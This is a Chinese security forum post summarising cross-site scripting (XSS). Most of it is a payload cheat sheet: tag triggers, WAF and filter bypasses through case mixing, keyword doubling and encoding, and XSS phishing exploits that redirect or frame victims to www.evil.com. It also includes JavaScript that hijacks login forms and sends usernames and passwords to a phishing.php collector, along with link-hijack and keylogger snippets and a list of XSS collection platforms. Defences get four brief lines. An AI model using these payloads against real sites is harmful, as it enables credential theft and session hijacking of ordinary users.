XSS总结

渗透御   ·   发表于 2021-02-07 21:40:23   ·   技术文章

简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
原理:用户输入的数据当做HTML代码拼接到程序代码中去执行恶意的JS语句

分类

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗

存储型xss

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中

DOM型xss

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤,那么应用程序就可能受到基于 DOM 的 XSS 攻击

xss平台

xsspt.com(开放注册)
https://xss8.cc
xss9.com(需要邀请码)

常见标签触发语句

<scirpt>
<scirpt>alert("xss");</script>
<a>
<a href="javascript:alert(`xss`);">xss</a>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">
<details>
<details ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x  onerror=alert("xss");>
<body>
<body/onload=alert("xss");>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 onerror=alert("xss")>
<link>
<link rel=import href="http://127.0.0.1/1.js">

绕过过滤方法

过滤空格
<img/src="x"/onerror=alert("xss");> #用/代替空格
过滤关键字
<ImG sRc=x onerRor=alert("xss");> #大小写绕过
双写关键字
<imimgg srsrcc=x onerror=alert("xss");> #有些waf可能会只替换一次且是替换为空,这种情况下可以用双写关键字绕过
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> #Unicode编码绕过
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> #Unicode编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> #url编码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> #Ascii码绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> #hex绕过
<img src=x onerror=alert('\170\163\163')> #八进制
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> #base64绕过
过滤双引号,单引号
<img src="x" onerror=alert(`xss`);> #如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
过滤括号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> #当括号被过滤的时候可以使用throw来绕过
过滤url地址
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> #url编码
使用IP
<img src="x" onerror=document.location=`http://2130706433/`> #十进制IP
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。baidu。com`"> #如果你在域名中输入中文句号浏览器会自动转化成英文的逗号

XSS 钓鱼的方式

水坑攻击(Watering Hole)

“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”;其针对的目标多为特定的团体(组织、行业、地区等)

鱼叉式网络钓鱼(Spear phishing )

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马

鲸钓攻击(Whaling Attack)

是鱼叉式钓鱼的一种,与CEO欺诈相反。攻击者的目的是高层管理人员,如CEO、CFO等,其目的是诱导高管输入敏感信息和公司数据

CEO欺诈或商务邮件欺诈(BEC)

假装公司的CEO或其他高管,向级别较低的员工(通常是会计或财务部门的员工)发送电子邮件,这些电子邮件的目的是获取商业机密信息或让受害者将资金转移到一个虚假账户

克隆网络钓鱼

利用受害者已经收到的合法信息,仿真创建一个恶意脚本,再以上一封电子邮件的链接有问题为由,要重新发送原始邮件,来诱导用户点击克隆的钓鱼邮件

域欺骗(Pharming)

伪造一个新的电子邮件头,使它看起来像是来自一家合法公司的电子邮件地址。或者创建一个欺诈网站,让它的域名看上去是合法的或与合法公司的域名相似

XSS 重定向钓鱼(XSS Redirect Phishing)

这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如 www.bug.com 为漏洞网站,那么钓鱼网站 www.evil.com就会完全仿冒正常网站的页面内容及行为,从而进行钓鱼等诈骗活动
假设 www.bug.com上有一处 XSS:
http://www.bug.com/index.php?search=【Expliot】
那么, Exploit 如下:
http://www.bug.com/index.php?search="'><script>document.location.href=”http://www.evil.com“</script>
这样便会让用户从当前访问的网站跳转到钓鱼网站

HTML注入式钓鱼(XSS HTML Inject Phishing)

HTML 注入式钓鱼是指直接利用 XSS 漏洞注射 HTML/JavaScript 代码到页面中
示例代码:

http://www.bug.com/index.php?search=
<html>
<head>
<title>login</title>
</head>
<body>
<div style="text-align: center;">
<form Method="POST" Action="phishing.php" Name="form">
<br/>Username:<br/><input name="Username" />
<br />Password:<br/><input name="Password" type="password" /><br/>
<br /><input name="Valid" value="login" type="submit" /><br/>
</form>
</div>
</body>
</html>

这段代码会构造出一个登录表单,该表单可以覆盖原页面显示,用来窃取用户输入账号和密码等信息

XSS 跨框架钓鱼(Iframe Phishing)

这种方式是通过<Iframe>标签嵌入远程域的一个页面实施钓鱼,利用 Iframe 引用第三方的内容伪造登录控件,此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性
假设有一个 XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit 如下:
http://www.bug.com/index.php?search='><iframe src=“http://www.evil.com”height="100%" width="100%"></iframe>
Iframe 的效果可以做得很真实,可以跨框架覆盖整个页面

Flash 钓鱼(Flash Phishing)

Flash 钓鱼甚至不要求网站存在 XSS 漏洞,只要攻击者把精心构造的 Flash 文件(比如一个假冒的登录框)上传到远程服务器,然后在目标网站中使用<object>或<embed>标签去引用 Flash 即可Flash 本身也存在许多的安全漏洞,包括 XSS、 CSRF 和跨域等问题,而且 Flash 也有内置的编程语言——ActionScript。ActionScript 与JavaScript、服务端编程语言一样都可以作为跨站攻击的一种辅助手段

高级钓鱼技术

黑客利用 XSS 漏洞可以窃取用户会话的 Cookie,从而窃取网站用户的隐私数据,包括 MD5密码信息等。但是,如果网站使用了 Httponly 的 Cookie(将 Cookie 的属性设置为“Httponly”就可防止 Cookie 被恶意 JavaScript 脚本存取),或无法通过 Cookie 欺骗等方式侵入受害者的账户,那么窃取用户 Cookie 方法就显得英雄无用武之地
这种情况下,黑客更青睐于直接获取用户的明文账户密码信息。这时候就要用到一些高级的XSS 钓鱼技术,而构成这些技术的主要元素无非是我们所熟知的JavaScript、Ajax 等
最简单、最直接的实现方法就是注入 JavaScript 脚本代码劫持 HTML 表单和控制 Web 的行为
JavaScript代码:

<script>
Form = document.forms["userslogin"];
Form.onsubmit = function(){
var iframe = document.createElement("iframe");
iframe.style.display = "none";
alert(Form.user.value);
iframe.src = "http://127.0.0.1/phishing.php?user="+Form.user.value + "&pass=" +
Form.pass.value;
document.body.appendChild(iframe);
}
</script>

这段代码用来截取用户在登录页面输入的用户名和密码信息,然后提交给当前创建的 PHP脚本
JavaScript代码:

<script>
loginForm = document.forms[' userslogin '];
function parseData()
{
var user = loginForm.user.value;
var pass = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password)
{
var frame=document.createElement('iframe');
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
</script>

如图 2-21 所示,在本地进行测试,用浏览器访问测试页面,然后输入一些信息并提交,处理程序便会获取和记录相关信息,如图 2-22 所示


劫持链接的 onclick 事件
for(i=0;i<document.links.length;i++){
document.links[i].onclick = hijack;}
监听键盘 的onkeydown 事件
document.onkeydown=function(e){
if(!e)e=window.event;
try{hijack();}catch(ex){}}
JavaScript 键盘记录器捕获用户按下的特定键

<script>
function keyDown() {
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</script>

危害

网络钓鱼
网站挂马
传播跨站脚本蠕虫等
盗用cookie,获取敏感信息
强制弹出广告页面、刷流量等
进行大量的客户端攻击,如 DDoS 攻击
进行恶意操作,例如任意篡改页面信息、删除文章等
获取客户端信息,例如用户的浏览历史、真实 IP、开放端口等
劫持用户会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等

防御方法

过滤一些危险字符
设置httponly
输入内容长度限制
HTML实体编码

用户名金币积分时间理由
奖励系统 50.00 0 2021-04-20 07:07:10 投稿满 5 赞奖励
veek 30.00 0 2021-02-08 09:09:43

打赏我,让我更有动力~

1 Reply   |  Until 2021-4-20 | 1096 View

2677017545
发表于 2021-4-20

总结的很好,帮助很大,感谢。

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.